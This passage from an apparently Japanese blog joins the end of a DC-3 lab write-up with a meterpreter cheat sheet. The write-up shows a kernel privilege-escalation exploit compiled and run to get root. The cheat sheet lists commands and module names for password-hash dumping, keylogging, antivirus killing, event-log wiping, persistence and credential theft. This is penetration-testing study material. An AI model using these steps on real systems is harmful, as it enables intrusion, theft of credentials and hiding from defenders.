lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
dc3:x:1000:1000:dc3,,,:/home/dc3:/bin/bash

しかし、全てnologinとなっていて全く特権昇格の手がかりが見られない。 このサーバーのosバージョンを見てみる

meterpreter > cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04 LTS"

searchsploitで探すと、Ubuntu 16.04の脆弱性を利用したコードがあった。

┌──(root💀snowyowl)-[~]
└─# searchsploit "Ubuntu 16.04"    
-------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                            |  Path
-------------------------------------------------------------------------- ---------------------------------
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local Code Execution          | linux/local/40937.txt
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation             | linux/local/40054.c
Google Chrome (Fedora 25 / Ubuntu 16.04) - 'tracker-extract' / 'gnome-vid | linux/local/40943.txt
LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Local Privilege Escalation | linux/local/41923.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora  | linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/2 | linux_x86/local/42276.c
Linux Kernel (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps     | linux/dos/39773.txt
Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) Arb | linux/local/45175.c
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escalation (Metas | linux/local/40759.rb
Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Poi | linux/dos/46529.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Conditi | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out- | linux_x86-64/local/40049.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' R | windows_x86-64/local/47170.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) P | linux/local/39772.txt
Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPLACE' Local Privile | linux/local/40489.txt
Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp Kernel Pointer                | linux/dos/45919.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escala | linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation    | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Lo | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privile | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zo | linux/local/47169.c
-------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                          

この中でも、特権昇格に関するコードは、Local Privilege Escalationと書かれているものである。 そのため、今回はlinux/local/39772.txtを使っていく。

www.exploit-db.com

/tmpは、権限が一番下のレベルなのでここにwgetでダウンロードするとうまく行く

$ unzip 39772.zip
Archive:  39772.zip
   creating: 39772/
  inflating: 39772/.DS_Store         
   creating: __MACOSX/
   creating: __MACOSX/39772/
  inflating: __MACOSX/39772/._.DS_Store  
  inflating: 39772/crasher.tar       
  inflating: __MACOSX/39772/._crasher.tar  
  inflating: 39772/exploit.tar       
  inflating: __MACOSX/39772/._exploit.tar  
$ cd 39772
$ ls
crasher.tar
exploit.tar
$ tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
$ cd ebpf_mapfd_doubleput_exploit
$ ls
compile.sh
doubleput.c
hello.c
suidhelper.c
$ ./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
             ^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)""
               ^
$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
whoami
root

rootになれた

cd /root
ls
the-flag.txt
cat the-flag.txt
 __        __   _ _   ____                   _ _ _ _ 
 \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
                                                     

Congratulations are in order.  :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!

meterpreterの使えるコマンド一覧

meterpreterの使えるコマンドということで、まとめていく

随時更新していく予定。

 

・sysinfo

システム情報取得

 

・ipconfig

使い方は、dosコマンドと一緒

 

・ps

プロセス一覧取得

 

・getuid

ユーザーの確認

 

・getsystem

権限昇格を試みる

オプションなしでは複数の方法を試行する

 

・getuid

ユーザーの確認

 

・getprivs

有効な特権の確認

 

・hashdup

パスワードハッシュの取得

取得できたハッシュは、johnで解析

 

・upload ファイル名

ファイルを攻撃対象にアップロード

 

・download ファイル名

攻撃対象のファイルを自ホストにダウンロード

 

・timestomp ファイル名 -z "01/01/2005 00:00:00"

ファイルのタイムスタンプ変更

 

・screenshot

スクリーンショット

Metasploitを実行しているマシンのブラウザでjpegファイルが表示される

 

・ clearev

イベントログの削除

 

・excute ファイル名

実行ファイルを実行できる。

 

・run

runと入力して、tabキーを3回押すと実行可能なmeterpreterスクリプトの一覧が表示される。

 

・run checkvm

仮想環境かチェック

 

・run killav

アンチウイルスを終了する

 

・run getgui -e

リモートデスクトップを有効にする

 

・run keylogrecorder

キーロガーの実行

 

・run packetrecoder

パケットキャプチャーの実行

 

runのスクリプト一覧

スクリプト名読めば大体理解できるから大丈夫ってことにしとく


run arp_scanner
run autoroute
run checkvm
run credcollect
run domain_list_gen
run dumplinks
run duplicate
run enum_chrome
run enum_firefox
run enum_logged_on_users
run enum_powershell_env
run enum_putty
run enum_shares
run enum_vmware
run event_manager

run powerdump
run prefetchtool
run process_memdump
run remotewinenum
run scheduleme
run schelevator
run schtasksabuse
run scraper
run screen_unlock
run screenspy
run search_dwld
run service_manager
run service_permissions_escalate
run sound_recorder
run srt_webdrive_priv
run uploadexec
run virtualbox_sysenter_dos
run virusscan_bypass
run vnc
run webcam
run winbf
run winenum
run wmic

 



run exploit/windows/local/adobe_sandbox_adobecollabsync

run exploit/windows/local/agnitum_outpost_acs
run exploit/windows/local/alpc_taskscheduler
run exploit/windows/local/always_install_elevated
run exploit/windows/local/anyconnect_lpe
run exploit/windows/local/applocker_bypass
run exploit/windows/local/appxsvc_hard_link_privesc
run exploit/windows/local/ask
run exploit/windows/local/bits_ntlm_token_impersonation
run exploit/windows/local/bthpan
run exploit/windows/local/bypassuac
run exploit/windows/local/bypassuac_comhijack
run exploit/windows/local/bypassuac_dotnet_profiler
run exploit/windows/local/bypassuac_eventvwr
run exploit/windows/local/bypassuac_fodhelper
run exploit/windows/local/bypassuac_injection
run exploit/windows/local/bypassuac_injection_winsxs
run exploit/windows/local/bypassuac_sdclt
run exploit/windows/local/bypassuac_silentcleanup

run exploit/windows/local/bypassuac_sluihijack
run exploit/windows/local/bypassuac_vbs
run exploit/windows/local/bypassuac_windows_store_filesys
run exploit/windows/local/bypassuac_windows_store_reg
run exploit/windows/local/capcom_sys_exec
run exploit/windows/local/comahawk
run exploit/windows/local/current_user_psexec
run exploit/windows/local/cve_2017_8464_lnk_lpe
run exploit/windows/local/cve_2018_8453_win32k_priv_esc
run exploit/windows/local/cve_2019_1458_wizardopium
run exploit/windows/local/cve_2020_0668_service_tracing
run exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
run exploit/windows/local/cve_2020_0796_smbghost
run exploit/windows/local/cve_2020_1048_printerdemon
run exploit/windows/local/cve_2020_1054_drawiconex_lpe
run exploit/windows/local/cve_2020_1313_system_orchestrator
run exploit/windows/local/cve_2020_1337_printerdemon
run exploit/windows/local/cve_2020_17136
run exploit/windows/local/cve_2021_1732_win32k
run exploit/windows/local/cve_2021_21551_dbutil_memmove
run exploit/windows/local/dnsadmin_serverlevelplugindll
run exploit/windows/local/docker_credential_wincred
run exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc
run exploit/windows/local/gog_galaxyclientservice_privesc
run exploit/windows/local/ikeext_service
run exploit/windows/local/ipass_launch_app
run exploit/windows/local/lenovo_systemupdate
run exploit/windows/local/microfocus_operations_privesc
run exploit/windows/local/mov_ss
run exploit/windows/local/mqac_write
run exploit/windows/local/ms10_015_kitrap0d
run exploit/windows/local/ms10_092_schelevator
run exploit/windows/local/ms11_080_afdjoinleaf
run exploit/windows/local/ms13_005_hwnd_broadcast
run exploit/windows/local/ms13_053_schlamperei

run exploit/windows/local/ms13_081_track_popup_menu
run exploit/windows/local/ms13_097_ie_registry_symlink
run exploit/windows/local/ms14_009_ie_dfsvc
run exploit/windows/local/ms14_058_track_popup_menu
run exploit/windows/local/ms14_070_tcpip_ioctl
run exploit/windows/local/ms15_004_tswbproxy
run exploit/windows/local/ms15_051_client_copy_image
run exploit/windows/local/ms15_078_atmfd_bof
run exploit/windows/local/ms16_014_wmi_recv_notif
run exploit/windows/local/ms16_016_webdav
run exploit/windows/local/ms16_032_secondary_logon_handle_privesc
run exploit/windows/local/ms16_075_reflection
run exploit/windows/local/ms16_075_reflection_juicy
run exploit/windows/local/ms18_8120_win32k_privesc
run exploit/windows/local/ms_ndproxy
run exploit/windows/local/novell_client_nicm
run exploit/windows/local/novell_client_nwfs
run exploit/windows/local/nscp_pe
run exploit/windows/local/ntapphelpcachecontrol
run exploit/windows/local/ntusermndragover
run exploit/windows/local/nvidia_nvsvc
run exploit/windows/local/panda_psevents
run exploit/windows/local/payload_inject
run exploit/windows/local/persistence
run exploit/windows/local/persistence_image_exec_options
run exploit/windows/local/persistence_service
run exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
run exploit/windows/local/powershell_cmd_upgrade
run exploit/windows/local/powershell_remoting
run exploit/windows/local/ppr_flatten_rec
run exploit/windows/local/ps_persist
run exploit/windows/local/ps_wmi_exec
run exploit/windows/local/pxeexploit
run exploit/windows/local/razer_zwopenprocess
run exploit/windows/local/registry_persistence
run exploit/windows/local/ricoh_driver_privesc
run exploit/windows/local/run_as
run exploit/windows/local/s4u_persistence
run exploit/windows/local/service_permissions
run exploit/windows/local/srclient_dll_hijacking
run exploit/windows/local/tokenmagic
run exploit/windows/local/unquoted_service_path
run exploit/windows/local/virtual_box_guest_additions
run exploit/windows/local/virtual_box_opengl_escape
run exploit/windows/local/vss_persistence
run exploit/windows/local/webexec
run exploit/windows/local/windscribe_windscribeservice_priv_esc
run exploit/windows/local/wmi
run exploit/windows/local/wmi_persistence
run file_collector
run get_application_list
run get_env
run get_filezilla_creds
run get_local_subnets

run get_pidgin_creds
run get_valid_community
run getcountermeasure
run getgui
run gettelnet
run getvncpw
run hashdump
run hostsedit
run keylogrecorder
run killav
run metsvc
run migrate
run multi_console_command
run multi_meter_inject
run multicommand
run multiscript
run netenum
run packetrecorder
run panda_2007_pavsrv51
run persistence
run pml_driver_config
run post/aix/hashdump
run post/android/capture/screen
run post/android/gather/hashdump
run post/android/gather/sub_info
run post/android/gather/wireless_ap
run post/android/local/koffee
run post/android/manage/remove_lock
run post/android/manage/remove_lock_root
run post/apple_ios/gather/ios_image_gather
run post/apple_ios/gather/ios_text_gather
run post/bsd/gather/hashdump
run post/firefox/gather/cookies
run post/firefox/gather/history
run post/firefox/gather/passwords
run post/firefox/gather/xss
run post/firefox/manage/webcam_chat
run post/hardware/automotive/can_flood
run post/hardware/automotive/canprobe
run post/hardware/automotive/getvinfo
run post/hardware/automotive/identifymodules
run post/hardware/automotive/malibu_overheat
run post/hardware/automotive/mazda_ic_mover
run post/hardware/automotive/pdt
run post/hardware/rftransceiver/rfpwnon
run post/hardware/rftransceiver/transmitter
run post/hardware/zigbee/zstumbler
run post/linux/busybox/enum_connections
run post/linux/busybox/enum_hosts
run post/linux/busybox/jailbreak
run post/linux/busybox/ping_net
run post/linux/busybox/set_dmz
run post/linux/busybox/set_dns
run post/linux/busybox/smb_share_root

run post/linux/busybox/wget_exec
run post/linux/dos/xen_420_dos
run post/linux/gather/checkcontainer
run post/linux/gather/checkvm
run post/linux/gather/ecryptfs_creds
run post/linux/gather/enum_commands
run post/linux/gather/enum_configs
run post/linux/gather/enum_containers
run post/linux/gather/enum_nagios_xi
run post/linux/gather/enum_network
run post/linux/gather/enum_protections
run post/linux/gather/enum_psk
run post/linux/gather/enum_system
run post/linux/gather/enum_users_history
run post/linux/gather/gnome_commander_creds
run post/linux/gather/gnome_keyring_dump
run post/linux/gather/haserl_read
run post/linux/gather/hashdump
run post/linux/gather/mount_cifs_creds
run post/linux/gather/openvpn_credentials
run post/linux/gather/phpmyadmin_credsteal
run post/linux/gather/pptpd_chap_secrets
run post/linux/gather/tor_hiddenservices
run post/linux/manage/dns_spoofing
run post/linux/manage/download_exec
run post/linux/manage/iptables_removal
run post/linux/manage/pseudo_shell
run post/linux/manage/sshkey_persistence
run post/multi/escalate/aws_create_iam_user
run post/multi/escalate/cups_root_file_read
run post/multi/escalate/metasploit_pcaplog
run post/multi/gather/apple_ios_backup
run post/multi/gather/aws_ec2_instance_metadata
run post/multi/gather/aws_keys
run post/multi/gather/check_malware
run post/multi/gather/chrome_cookies
run post/multi/gather/dbvis_enum
run post/multi/gather/dns_bruteforce
run post/multi/gather/dns_reverse_lookup
run post/multi/gather/dns_srv_lookup
run post/multi/gather/docker_creds
run post/multi/gather/enum_hexchat
run post/multi/gather/enum_software_versions
run post/multi/gather/enum_vbox
run post/multi/gather/env
run post/multi/gather/fetchmailrc_creds
run post/multi/gather/filezilla_client_cred
run post/multi/gather/find_vmx
run post/multi/gather/firefox_creds
run post/multi/gather/gpg_creds
run post/multi/gather/grub_creds
run post/multi/gather/irssi_creds
run post/multi/gather/jboss_gather
run post/multi/gather/jenkins_gather

run post/multi/gather/lastpass_creds
run post/multi/gather/maven_creds
run post/multi/gather/multi_command
run post/multi/gather/netrc_creds
run post/multi/gather/pgpass_creds
run post/multi/gather/pidgin_cred
run post/multi/gather/ping_sweep
run post/multi/gather/remmina_creds
run post/multi/gather/resolve_hosts
run post/multi/gather/rsyncd_creds
run post/multi/gather/rubygems_api_key
run post/multi/gather/run_console_rc_file
run post/multi/gather/saltstack_salt
run post/multi/gather/skype_enum
run post/multi/gather/ssh_creds
run post/multi/gather/thunderbird_creds
run post/multi/gather/tomcat_gather
run post/multi/gather/ubiquiti_unifi_backup
run post/multi/gather/unix_cached_ad_hashes
run post/multi/gather/unix_kerberos_tickets
run post/multi/gather/wlan_geolocate
run post/multi/general/close
run post/multi/general/execute
run post/multi/general/wall
run post/multi/manage/autoroute
run post/multi/manage/dbvis_add_db_admin
run post/multi/manage/dbvis_query
run post/multi/manage/hsts_eraser
run post/multi/manage/multi_post
run post/multi/manage/open
run post/multi/manage/play_youtube
run post/multi/manage/record_mic
run post/multi/manage/screensaver
run post/multi/manage/screenshare
run post/multi/manage/set_wallpaper
run post/multi/manage/shell_to_meterpreter
run post/multi/manage/sudo
run post/multi/manage/system_session
run post/multi/manage/upload_exec
run post/multi/manage/zip
run post/multi/recon/local_exploit_suggester
run post/multi/recon/multiport_egress_traffic
run post/multi/recon/sudo_commands
run post/multi/sap/smdagent_get_properties

run exploit/multi/local/allwinner_backdoor
run exploit/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc
run exploit/multi/local/xorg_x11_suid_server
run exploit/multi/local/xorg_x11_suid_server_modulepath

 


run post/networking/gather/enum_brocade
run post/networking/gather/enum_cisco
run post/networking/gather/enum_f5
run post/networking/gather/enum_juniper
run post/networking/gather/enum_mikrotik
run post/networking/gather/enum_vyos

 

 

run post/windows/capture/keylog_recorder
run post/windows/capture/lockout_keylogger
run post/windows/escalate/droplnk
run post/windows/escalate/getsystem
run post/windows/escalate/golden_ticket
run post/windows/escalate/ms10_073_kbdlayout
run post/windows/escalate/screen_unlock
run post/windows/escalate/unmarshal_cmd_exec
run post/windows/gather/ad_to_sqlite
run post/windows/gather/arp_scanner
run post/windows/gather/avast_memory_dump
run post/windows/gather/bitcoin_jacker
run post/windows/gather/bitlocker_fvek
run post/windows/gather/bloodhound
run post/windows/gather/cachedump
run post/windows/gather/checkvm
run post/windows/gather/credentials/avira_password
run post/windows/gather/credentials/bulletproof_ftp
run post/windows/gather/credentials/coreftp
run post/windows/gather/credentials/credential_collector
run post/windows/gather/credentials/domain_hashdump
run post/windows/gather/credentials/dynazip_log
run post/windows/gather/credentials/dyndns
run post/windows/gather/credentials/enum_cred_store
run post/windows/gather/credentials/enum_laps
run post/windows/gather/credentials/enum_picasa_pwds
run post/windows/gather/credentials/epo_sql
run post/windows/gather/credentials/filezilla_server
run post/windows/gather/credentials/flashfxp
run post/windows/gather/credentials/ftpnavigator
run post/windows/gather/credentials/ftpx
run post/windows/gather/credentials/gpp
run post/windows/gather/credentials/heidisql
run post/windows/gather/credentials/idm
run post/windows/gather/credentials/imail
run post/windows/gather/credentials/imvu
run post/windows/gather/credentials/mcafee_vse_hashdump
run post/windows/gather/credentials/mdaemon_cred_collector
run post/windows/gather/credentials/meebo
run post/windows/gather/credentials/mremote
run post/windows/gather/credentials/mssql_local_hashdump
run post/windows/gather/credentials/nimbuzz
run post/windows/gather/credentials/outlook
run post/windows/gather/credentials/pulse_secure
run post/windows/gather/credentials/purevpn_cred_collector
run post/windows/gather/credentials/razer_synapse
run post/windows/gather/credentials/razorsql
run post/windows/gather/credentials/rdc_manager_creds
run post/windows/gather/credentials/securecrt
run post/windows/gather/credentials/skype
run post/windows/gather/credentials/smartermail
run post/windows/gather/credentials/smartftp
run post/windows/gather/credentials/spark_im
run post/windows/gather/credentials/sso

run post/windows/gather/credentials/steam
run post/windows/gather/credentials/teamviewer_passwords
run post/windows/gather/credentials/tortoisesvn
run post/windows/gather/credentials/total_commander
run post/windows/gather/credentials/trillian
run post/windows/gather/credentials/vnc
run post/windows/gather/credentials/windows_autologin
run post/windows/gather/credentials/winscp
run post/windows/gather/credentials/wsftp_client
run post/windows/gather/credentials/xshell_xftp_password
run post/windows/gather/dnscache_dump
run post/windows/gather/dumplinks
run post/windows/gather/enum_ad_bitlocker
run post/windows/gather/enum_ad_computers
run post/windows/gather/enum_ad_groups
run post/windows/gather/enum_ad_managedby_groups
run post/windows/gather/enum_ad_service_principal_names
run post/windows/gather/enum_ad_to_wordlist
run post/windows/gather/enum_ad_user_comments
run post/windows/gather/enum_ad_users
run post/windows/gather/enum_applications
run post/windows/gather/enum_artifacts
run post/windows/gather/enum_av_excluded
run post/windows/gather/enum_chrome
run post/windows/gather/enum_computers
run post/windows/gather/enum_db
run post/windows/gather/enum_devices
run post/windows/gather/enum_dirperms
run post/windows/gather/enum_domain
run post/windows/gather/enum_domain_group_users
run post/windows/gather/enum_domain_tokens
run post/windows/gather/enum_domain_users
run post/windows/gather/enum_domains
run post/windows/gather/enum_emet
run post/windows/gather/enum_files
run post/windows/gather/enum_hostfile
run post/windows/gather/enum_hyperv_vms
run post/windows/gather/enum_ie
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_ms_product_keys
run post/windows/gather/enum_muicache
run post/windows/gather/enum_onedrive
run post/windows/gather/enum_patches
run post/windows/gather/enum_powershell_env
run post/windows/gather/enum_prefetch
run post/windows/gather/enum_proxy
run post/windows/gather/enum_putty_saved_sessions
run post/windows/gather/enum_services
run post/windows/gather/enum_shares
run post/windows/gather/enum_snmp
run post/windows/gather/enum_termserv
run post/windows/gather/enum_tokens
run post/windows/gather/enum_tomcat
run post/windows/gather/enum_trusted_locations

 run post/windows/gather/enum_unattend
run post/windows/gather/exchange
run post/windows/gather/file_from_raw_ntfs
run post/windows/gather/forensics/browser_history
run post/windows/gather/forensics/duqu_check
run post/windows/gather/forensics/enum_drives
run post/windows/gather/forensics/fanny_bmp_check
run post/windows/gather/forensics/imager
run post/windows/gather/forensics/nbd_server
run post/windows/gather/forensics/recovery_files
run post/windows/gather/hashdump
run post/windows/gather/local_admin_search_enum
run post/windows/gather/lsa_secrets
run post/windows/gather/make_csv_orgchart
run post/windows/gather/memory_dump
run post/windows/gather/memory_grep
run post/windows/gather/netlm_downgrade
run post/windows/gather/ntds_grabber
run post/windows/gather/ntds_location
run post/windows/gather/outlook
run post/windows/gather/phish_windows_credentials
run post/windows/gather/psreadline_history
run post/windows/gather/resolve_sid
run post/windows/gather/reverse_lookup
run post/windows/gather/screen_spy
run post/windows/gather/smart_hashdump
run post/windows/gather/tcpnetstat
run post/windows/gather/usb_history
run post/windows/gather/win_privs
run post/windows/gather/wmic_command
run post/windows/gather/word_unc_injector
run post/windows/manage/add_user
run post/windows/manage/archmigrate
run post/windows/manage/change_password
run post/windows/manage/clone_proxy_settings
run post/windows/manage/delete_user
run post/windows/manage/download_exec
run post/windows/manage/driver_loader
run post/windows/manage/enable_rdp
run post/windows/manage/enable_support_account
run post/windows/manage/exec_powershell
run post/windows/manage/execute_dotnet_assembly
run post/windows/manage/forward_pageant
run post/windows/manage/hashcarve
run post/windows/manage/ie_proxypac
run post/windows/manage/inject_ca
run post/windows/manage/inject_host
run post/windows/manage/install_python
run post/windows/manage/install_ssh
run post/windows/manage/killav
run post/windows/manage/migrate
run post/windows/manage/mssql_local_auth_bypass
run post/windows/manage/multi_meterpreter_inject
run post/windows/manage/nbd_server

 run post/windows/manage/peinjector
run post/windows/manage/persistence_exe
run post/windows/manage/portproxy
run post/windows/manage/powershell/build_net_code
run post/windows/manage/powershell/exec_powershell
run post/windows/manage/powershell/load_script
run post/windows/manage/pptp_tunnel
run post/windows/manage/priv_migrate
run post/windows/manage/pxeexploit
run post/windows/manage/reflective_dll_inject
run post/windows/manage/remove_ca
run post/windows/manage/remove_host
run post/windows/manage/rid_hijack
run post/windows/manage/rollback_defender_signatures
run post/windows/manage/rpcapd_start
run post/windows/manage/run_as
run post/windows/manage/run_as_psh
run post/windows/manage/sdel
run post/windows/manage/shellcode_inject
run post/windows/manage/sshkey_persistence
run post/windows/manage/sticky_keys
run post/windows/manage/vmdk_mount
run post/windows/manage/vss
run post/windows/manage/vss_create
run post/windows/manage/vss_list
run post/windows/manage/vss_mount
run post/windows/manage/vss_set_storage
run post/windows/manage/vss_storage
run post/windows/manage/wdigest_caching
run post/windows/manage/webcam
run post/windows/recon/computer_browser_discovery
run post/windows/recon/outbound_ports
run post/windows/recon/resolve_ip
run post/windows/wlan/wlan_bss_list
run post/windows/wlan/wlan_current_connection
run post/windows/wlan/wlan_disconnect
run post/windows/wlan/wlan_probe_request
run post/windows/wlan/wlan_profile

 

 

 

 

 

 

 

詳しくは、ここにチートシートがある。

https://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdf